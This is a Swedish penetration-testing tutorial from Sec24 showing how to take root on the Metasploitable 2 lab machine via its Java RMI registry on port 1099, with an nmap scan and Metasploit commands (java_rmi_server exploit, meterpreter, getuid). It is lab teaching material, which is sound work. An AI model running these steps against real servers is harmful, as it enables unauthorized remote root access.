RMI Registration Server

Sec24 – RMI Registration Server

Av: Oscar Andersson, Sec24, 2013-09-15

OBS:  Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.

I den här sektionen kommer vi att gå igenom olika sätt att ta över en Linuxserver. Du kommer behöva Metasploitable 2 och Backtrack eller Kali. Du hittar mer info om dessa i sektionen Sätta upp en testmiljö.

Bakgrund: RMI-protokollet använder sig av två andra protokoll för sitt on-the-wire format: Java Object Serialization och HTTP. Object Serialization-protokollet används för att marshalla anrop och returnera data. HTTP-protokollet används för att “POST”:a en Remote Method Invocation, RMI, och skaffa returdata när omständigheterna så kräver. Varje protokoll dokumenteras separat. Icketerminala symboler i produktionsreglerna kan hänvisa till bestämmelser som regleras av ett annat protokoll (antingen Object Serialization eller HTTP). När ett protokolls gräns passeras använder efterföljande produktioner det inbäddade protokollet.

Vi börjar med att logga in på Metasploitable 2 och tar fram vilken IP maskinen använder. Användarnamn och lösenord är msfadmin.

Detta görs genom kommandot ifconfig.

2-1

Starta nu upp Kali och öppna en ny terminal.

Skriv följande kommando för att leta efter öppna portar:

nmap -p 1-65535 -T4 -A -v 192.168.1.125 2>&1 | tee /var/tmp/scan.txt

Följt av:

cd /var/tmp

grep -i rmi scan.txt

Sec24 Sec 24 kali metasploitable hur hackar man Linux penetrationstest RMI 1

I den här guiden är det rmiregistry på port 1099 som vi ska titta närmare på. Starta nu upp Metasploit Console med hjälp av kommandot: msfconsole och använd sedan sökfunktionen för att hitta ett lämpligt exploit, search java_rmi.

Sec24 Sec 24 kali metasploitable hur hackar man Linux penetrationstest RMI 2

Kör sedan use exploit/multi/misc/java_rmi_server

Följt av:

show options

set RHOST 192.168.1.125

show options

Sec24 Sec 24 kali metasploitable hur hackar man Linux penetrationstest RMI 3

Vi kör sedan kommandot exploit och om allt går vägen borde nu en meterpreter session öppnas mellan Kali och Metasploitable.

För att se vilka kommandon som kan användas för den här sårbarheten kör vi kommandot help.

Sec24 Sec 24 kali metasploitable hur hackar man Linux penetrationstest RMI 4

För att få fram lite mer information om servern kör vi kommandona getuid och sysinfo. Vi ser här att vi har root-åtkomst.

Sec24 Sec 24 kali metasploitable hur hackar man Linux penetrationstest RMI 5